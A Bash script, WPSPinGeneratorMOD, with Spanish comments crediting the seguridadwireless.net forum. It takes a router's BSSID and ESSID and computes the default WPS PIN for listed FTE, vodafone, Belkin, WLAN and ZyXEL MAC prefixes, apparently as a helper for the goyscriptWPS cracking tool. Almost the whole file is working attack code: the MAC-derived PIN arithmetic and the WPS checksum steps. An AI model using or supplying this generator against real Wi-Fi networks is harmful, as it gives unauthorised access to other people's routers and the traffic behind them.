#!/bin/bash

# Prácticamente todo el código lo he sacado del foro de seguridadwireless.net
# Yo simplemente me he quedado con la parte del algoritmo y he modificado el script
# para que partiendo de un BSSID y ESSID dados como parámetros, nos devuelva un PIN.
# Todo ello para poder hacer uso del algoritmo desde el goyscriptWPS sin necesidad
# de integrarlo directamente en el mismo, favoreciendo así las actualizaciones de ambos.
# Muchas gracias a la gente de seguridadwireless.net por tan excelente trabajo. ¡¡¡Sois cojonudos!!! ;-D

# CONSTANTES
SCRIPT="WPSPinGeneratorMOD"
VERSION="1.10.2" # Añadidos 6A:C0:6F y 62:3C:E4 por GOYfilms

MACs_Soportadas='
ESSID			BSSID
--------			--------
FTE-????			04:C0:6F
FTE-????			20:2B:C1
FTE-????			28:5F:DB
FTE-????			80:B6:86
FTE-????			84:A8:E4
FTE-????			B4:74:9F
FTE-????			BC:76:70
FTE-????			CC:96:A0
vodafone????		62:53:D4
vodafone????		5C:4C:A9
vodafone????		62:A8:E4           
vodafone????		62:C0:6F
vodafone????		62:C6:1F
vodafone????		62:E8:7B
vodafone????		6A:53:D4
vodafone????		6A:55:9C
vodafone????		6A:C7:14
vodafone????		72:C0:6F
vodafone????		72:C7:14
vodafone????		72:E8:7B
vodafone????		62:C7:14
vodafone????		62:3C:E4
vodafone????		6A:A8:E4
vodafone????		6A:C0:6F
vodafone????		72:55:9C
Belkin_N+_??????		00:22:75
belkin.???		08:86:3B
belkin.???		00:1C:DF
WLAN_????		00:A0:26
ZyXEL			50:57:F0
??			C8:3A:35
'
# COLORES
negro="\033[0;30m"
rojo="\033[0;31m"
verde="\033[0;32m"
marron="\033[0;33m"
azul="\033[0;34m"
magenta="\033[0;35m"
cyan="\033[01;36m"
grisC="\033[0;37m"
gris="\033[1;30m"
rojoC="\033[1;31m"
verdeC="\033[1;32m"
amarillo="\033[1;33m"
azulC="\033[1;34m"
magentaC="\033[1;35m"
cyanC="\033[1;36m"
blanco="\033[1;37m"
subrayar="\E[4m"
parpadeoON="\E[5m"
parpadeoOFF="\E[0m"
resaltar="\E[7m"


function calcular_pin
{
CHECKESSID=$(echo $ESSID | cut -d '-' -f1)
DEBUTBSSID=$(echo $BSSID | cut -d ":" -f1,2,3)
CHECKBSSID=$(echo $DEBUTBSSID | tr -d ':')
FINBSSID=$(echo $BSSID | cut -d ':' -f4-)                                
MAC=$(echo $FINBSSID | tr -d ':')                         
CONVERTEDMAC=$(printf '%d\n' 0x$MAC)                     

STRING=`expr '(' $CONVERTEDMAC '%' 10000000 ')'`
PIN=`expr 10 '*' $STRING`                          
ACCUM=0                                                  
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS1=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS1=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS1=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS1=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS1=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS1=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS1=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS1=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             

     
STRING2=`expr $STRING '+' 8`
PIN=`expr 10 '*' $STRING2`                          
ACCUM=0                                                  
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`

PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS2=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS2=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS2=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS2=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS2=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS2=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS2=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS2=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi
             
STRING3=`expr $STRING '+' 14`
PIN=`expr 10 '*' $STRING3`                          
ACCUM=0                                                  
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS3=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS3=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS3=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS3=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS3=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS3=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS3=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS3=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi



if [ "$CHECKESSID" = "FTE" ];                          
then

FINESSID=$(echo $ESSID | cut -d '-' -f2)
PAREMACDIRTY=$(echo $FINBSSID | cut -d ':' -f1)
PAREMAC=$(echo $PAREMACDIRTY | tr -d ':')
MACESSID=$(echo $PAREMAC$FINESSID)
CONVERTEDMACESSID=$(printf '%d\n' 0x$MACESSID)
RAIZ=`expr '(' $CONVERTEDMACESSID '%' 10000000 ')'`
STRING4=`expr $RAIZ '+' 7`



PIN=`expr 10 '*' $STRING4`                          
ACCUM=0                                                  
                                                         
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`

DIGIT=`expr $ACCUM '%' 10`
CHECKSUM=`expr '(' 10 '-' $DIGIT ')' '%' 10`
PIN=`expr $PIN '+' $CHECKSUM`         
ACCUM=0

ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1000000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 100000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 10000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 1000 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 100 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 3 '*' '(' '(' $PIN '/' 10 ')' '%' 10 ')'`
ACCUM=`expr $ACCUM '+' 1 '*' '(' '(' $PIN '/' 1 ')' '%' 10 ')'`

RESTE=`expr $ACCUM '%' 10`
if [ $PIN -lt 100000000 ] ; then
PINWPS4=$PIN
  if [ $PIN -lt 10000000 ] ; then
  PINWPS4=0$PIN
    if [ $PIN -lt 1000000 ] ; then
    PINWPS4=00$PIN
      if [ $PIN -lt 100000 ] ; then
      PINWPS4=000$PIN
        if [ $PIN -lt 10000 ] ; then
        PINWPS4=0000$PIN
         if [ $PIN -lt 1000 ] ; then
         PINWPS4=00000$PIN
           if [ $PIN -lt 100 ] ; then
           PINWPS4=000000$PIN
              if [ $PIN -lt 10 ] ; then
              PINWPS4=0000000$PIN
              fi
            fi
          fi
        fi
      fi
    fi
  fi
fi               
fi  

if [ "$CHECKESSID" = "FTE" ]; then
  PIN=$PINWPS4
else
  PIN=$PINWPS1
fi
echo $PIN
}

function mostrar_modo_de_uso
{
echo -e "$blanco"
echo "$SCRIPT $VERSION"
echo
echo -e $grisC"Modo de uso: $amarillo$0 <BSSID> <ESSID>"
echo
echo -e $grisC"Ejemplo: $amarillo$0 00:11:22:33:44:55 vodafoneFFFF"
echo -e "$grisC"
exit
}

######################################################################
# PROGRAMA PRINCIPAL
######################################################################

#clear
if [ $# -lt 2 ]
then
  mostrar_modo_de_uso
else
  BSSID=$1
  ESSID=$2
  calcular_pin
fi
